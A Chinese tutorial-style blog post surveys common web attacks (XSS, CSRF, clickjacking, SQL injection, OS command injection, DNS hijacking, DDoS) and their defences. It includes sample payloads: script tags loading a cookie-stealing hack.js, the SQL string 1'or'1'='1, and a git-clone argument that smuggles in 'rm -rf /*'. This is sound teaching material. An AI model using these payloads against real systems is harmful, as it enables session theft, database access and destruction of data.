网络安全-常见的web攻击手段

2023-12-26 08:07:45

1、XSS

Cross Site Scripting
跨站脚本攻击

XSS (Cross-Site Scripting)，跨站脚本攻击，因为缩写和 CSS重叠，所以只能叫 XSS。跨站脚本攻击是指通过存在安全漏洞的Web⽹站注册⽤户的浏览器内运⾏⾮法的HTML标签或JavaScript进⾏的⼀种攻击。

跨站脚本攻击有可能造成以下影响:

利⽤虚假输⼊表单骗取⽤户个⼈信息。
利⽤脚本窃取⽤户的Cookie值，被害者在不知情的情况下，帮助攻击者发送恶意请求。
显示伪造的⽂章或图⽚。

XSS攻击分类

反射型 - url参数直接注⼊

// 普通
http://localhost:3000/?from=china
// alert尝试
http://localhost:3000/?from=<script>alert(3)</script>
// 获取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>
// 短域名伪造 https://dwz.cn/
// 伪造cookie⼊侵 chrome
document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjox
NTUzNTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="

存储型 - 存储到DB后读取时注⼊

// 评论
<script>alert(1)</script>
// 跨站脚本注⼊
我来了<script src="http://localhost:4000/hack.js"></script>

XSS攻击的危害 - Scripting能⼲啥就能⼲啥

获取⻚⾯数据
获取Cookies
劫持前端逻辑
发送请求
偷取⽹站的任意数据
偷取⽤户的资料
偷取⽤户的秘密和登录态
欺骗⽤户

防范⼿段

ejs转义⼩知识

<% code %>⽤于执⾏其中javascript代码；
<%= code %>会对code进⾏html转义；
<%- code %>将不会进⾏转义

HEAD

ctx.set('X-XSS-Protection', 0) // 禁⽌XSS过滤
// http://localhost:3000/?from=<script>alert(3)</script> 可以拦截 但伪装⼀下就
不⾏了

0 禁⽌XSS过滤。
1 启⽤XSS过滤（通常浏览器是默认的）。如果检测到跨站脚本攻击，浏览器将清除⻚⾯（删除
不安全的部分）。
1;mode=block 启⽤XSS过滤。如果检测到攻击，浏览器将不会清除⻚⾯，⽽是阻⽌⻚⾯加载。
1; report= (Chromium only)
启⽤XSS过滤。如果检测到跨站脚本攻击，浏览器将清除⻚⾯并使⽤CSP report-uri 指令的
功能发送违规报告。

CSP

内容安全策略 (CSP, Content Security Policy) 是⼀个附加的安全层，⽤于帮助检测和缓解
某些类型的攻击，包括跨站脚本 (XSS) 和数据注⼊等攻击。这些攻击可⽤于实现从数据窃
取到⽹站破坏或作为恶意软件分发版本等⽤途。
CSP 本质上就是建⽴⽩名单，开发者明确告诉浏览器哪些外部资源可以加载和执⾏。我们
只需要配置规则，如何拦截是由浏览器⾃⼰实现的。我们可以通过这种⽅式来尽量减少
XSS 攻击。

转义字符
⿊名单

⽤户的输⼊永远不可信任的，最普遍的做法就是转义输⼊输出的内容，对于引号、尖括号、斜
杠进⾏转义
富⽂本来说，显然不能通过上⾯的办法来转义所有字符，因为这样会把需要的格式也过滤掉。
对于这种情况，通常采⽤⽩名单过滤的办法，当然也可以通过⿊名单过滤，但是考虑到需要过
滤的标签和标签属性实在太多，更加推荐使⽤⽩名单的⽅式。

⽩名单

比起黑名单多了筛选过滤的功能，而不是完全的一刀切

HttpOnly Cookie

这是预防XSS攻击窃取⽤户cookie最有效的防御⼿段。Web应⽤程序在设置cookie时，将
其属性设为HttpOnly，就可以避免该⽹⻚的cookie被客户端恶意JavaScript窃取，保护⽤
户cookie信息。

response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")

2.CSRF

CSRF(Cross Site Request Forgery)，即跨站请求伪造，是⼀种常⻅的Web攻击，它利⽤⽤户已
登录的身份，在⽤户毫不知情的情况下，以⽤户的名义完成⾮法操作。

⽤户已经登录了站点 A，并在本地记录了 cookie
在⽤户没有登出站点 A 的情况下（也就是 cookie
⽣效的情况下），访问了恶意攻击者提供的引诱危险站点 B (B 站点要求访问站点A)。
站点 A 没有做任何 CSRF 防御

CSRF攻击危害

利⽤⽤户登录态
⽤户不知情
完成业务请求
盗取⽤户资⾦（转账，消费）
冒充⽤户发帖背锅
损害⽹站声誉

防御

禁⽌第三⽅⽹站带Cookie - 有兼容性问题
Referer Check - Https不发送referer
验证码

3.点击劫持 - clickjacking

点击劫持是⼀种视觉欺骗的攻击⼿段。攻击者将需要攻击的⽹站通过 iframe 嵌套的⽅式嵌⼊⾃
⼰的⽹⻚中，并将 iframe 设置为透明，在⻚⾯中透出⼀个按钮诱导⽤户点击。

防御

X-FRAME-OPTIONS
X-FRAME-OPTIONS 是⼀个 HTTP 响应头，在现代浏览器有⼀个很好的⽀持。这个 HTTP 响应头
就是为了防御⽤ iframe 嵌套的点击劫持攻击。
该响应头有三个值可选，分别是

DENY，表示⻚⾯不允许通过 iframe 的⽅式展示
SAMEORIGIN，表示⻚⾯可以在相同域名下通过 iframe 的⽅式展示
ALLOW-FROM，表示⻚⾯可以在指定来源的 iframe 中展示

ctx.set('X-FRAME-OPTIONS', 'DENY')

JS⽅式

<head>
 <style id="click-jack">
 html {
 display: none !important;
 }
  </style>
</head>
<body>
 <script>
 if (self == top) {
 var style = document.getElementById('click-jack')
 document.body.removeChild(style)
 } else {
 top.location = self.location
 }
 </script>
</body>

以上代码的作⽤就是当通过 iframe 的⽅式加载⻚⾯时，攻击者的⽹⻚直接不显示所有内容了。

4. SQL注⼊

// 填⼊特殊密码
1'or'1'='1
// 拼接后的SQL
SELECT *
FROM test.user
WHERE username = 'laowang'
AND password = '1'or'1'='1'

防御

所有的查询语句建议使⽤数据库提供的参数化查询接⼝**，参数化的语句使⽤参数⽽不是将⽤户输⼊变量嵌⼊到 SQL 语句中，即不要直接拼接 SQL 语句。例如 Node.js 中的 mysqljs 库的query ⽅法中的 ? 占位参数。
严格限制Web应⽤的数据库的操作权限**，给此⽤户提供仅仅能够满⾜其⼯作的最低权限，从⽽最⼤限度的减少注⼊攻击对数据库的危害
后端代码检查输⼊的数据是否符合预期**，严格限制变量的类型，例如使⽤正则表达式进⾏⼀些
匹配处理。
对进⼊数据库的特殊字符（’，"，\，<，>，&，*，; 等）进⾏转义处理，或编码转换**。基本上所有的后端语⾔都有对字符串进⾏转义处理的⽅法，⽐如 lodash lodash._escapehtmlchar
库。

5. OS命令注⼊

OS命令注⼊和SQL注⼊差不多，只不过SQL注⼊是针对数据库的，⽽OS命令注⼊是针对操作系统的。
OS命令注⼊攻击指通过Web应⽤，执⾏⾮法的操作系统命令达到攻击的⽬的。只要在能调⽤Shell函数
的地⽅就有存在被攻击的⻛险。倘若调⽤Shell时存在疏漏，就可以执⾏插⼊的⾮法命令。
// 以 Node.js 为例，假如在接⼝中需要从 github 下载⽤户指定的 repo
const exec = require(‘mz/child_process’).exec;
let params = {/* ⽤户输⼊的参数 */};
exec(git clone ${params.repo} /some/path);

如果传⼊的参数是会怎样

https://github.com/xx/xx.git && rm -rf /* &&

6.请求劫持

7.DNS劫持

顾名思义，DNS服务器(DNS解析各个步骤)被篡改，修改了域名解析的结果，使得访问到的不是预期的ip
HTTP劫持运营商劫持，此时⼤概只能升级HTTPS了

8.DDOS

http://www.ruanyifeng.com/blog/2018/06/ddos.html 阮⼀峰
distributed denial of service

DDOS 不是⼀种攻击，⽽是⼀⼤类攻击的总称。它有⼏⼗种类型，新的攻击⽅法还在不断发明出来。
⽹站运⾏的各个环节，都可以是攻击⽬标。只要把⼀个环节攻破，使得整个流程跑不起来，就达到了
瘫痪服务的⽬的。
其中，⽐较常⻅的⼀种攻击是 cc 攻击。它就是简单粗暴地送来⼤量正常的请求，超出服务器的最⼤承受量，导致宕机。我遭遇的就是 cc 攻击，最多的时候全世界⼤概20多个 IP 地址轮流发出请求，每个地址的请求量在每秒200次~300次。我看访问⽇志的时候，就觉得那些请求像洪⽔⼀样涌来，⼀眨眼就是⼀⼤堆，⼏分钟的时间，⽇志⽂件的体积就⼤了100MB。说实话，这只能算⼩攻击，但是我的个
⼈⽹站没有任何防护，服务器还是跟其他⼈共享的，这种流量⼀来⽴刻就下线了。

防御⼿段

备份⽹站
备份⽹站不⼀定是全功能的，如果能做到全静态浏览，就能满⾜需求。最低限度应该可以显示公
告，告诉⽤户，⽹站出了问题，正在全⼒抢修。
HTTP 请求的拦截
硬件服务器防⽕墙
带宽扩容 + CDN
提⾼犯罪成本

码农公寓